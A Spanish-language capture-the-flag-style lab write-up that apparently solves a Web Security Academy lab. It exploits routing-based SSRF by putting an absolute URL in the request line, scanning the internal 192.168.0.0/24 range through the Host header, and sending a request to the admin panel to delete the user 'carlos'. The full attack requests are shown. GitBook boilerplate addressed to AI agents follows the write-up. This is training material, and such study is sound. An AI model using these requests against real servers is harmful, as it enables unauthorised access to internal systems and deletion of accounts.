> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/host-header/ssrf-via-incorrect-query-parsing.md).

# SSRF mediante un análisis incorrecto de la consulta

### SSRF mediante un análisis defectuoso de solicitudes

Este laboratorio es vulnerable a una **SSRF basada en el enrutamiento**. El servidor interpreta erróneamente el host al que realmente apunta la consulta. El objetivo es llegar al panel interno de administración, y luego eliminar al usuario **carlos**.

### Observación inicial

Editar directamente el `Host` la cabecera no funciona. La solicitud sigue bloqueada.

```http
Host: jord4n.pro
```

<figure><img src="/files/cb1c952f3db88b6319fd4481d55c8553ea02c54a" alt=""><figcaption></figcaption></figure>

### Analizando alrededor

El punto clave aquí es el formato de la solicitud. Al usar una **URL**, la aplicación intenta resolver el host indicado en la línea de la consulta. La `Host` cabecera pasa entonces a ser secundaria.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

La respuesta confirma este comportamiento. El servidor intenta llegar a `test.com`.

```html
<h1>
    Error del servidor: tiempo de espera agotado de la puerta de enlace (3) al conectarse a test.com
</h1>
```

<figure><img src="/files/30994f676c06fa925cf31efad7fc2192837b2a88" alt=""><figcaption></figcaption></figure>

### Descubrimiento de hosts internos

Ahora podemos explorar el rango interno `192.168.0.0/24` . La forma más sencilla es usar **Intruder** en el último byte.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

El `192.168.0.92` la dirección responde con `302` código. Esta respuesta indica la presencia del panel de administración.

<figure><img src="/files/a43ffc8e6c230d052995c80970a86fc117c1e848" alt=""><figcaption></figcaption></figure>

### Eliminación del usuario

Después de identificar el host interno, abrimos `/admin`. A continuación, obtenemos el token CSRF de la página. Basta con enviar la solicitud de eliminación al host interno.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

La eliminación de **carlos** valida el laboratorio.

<figure><img src="/files/331573bea60fa7ac3fe86a9dbbe85df71dc5f83e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
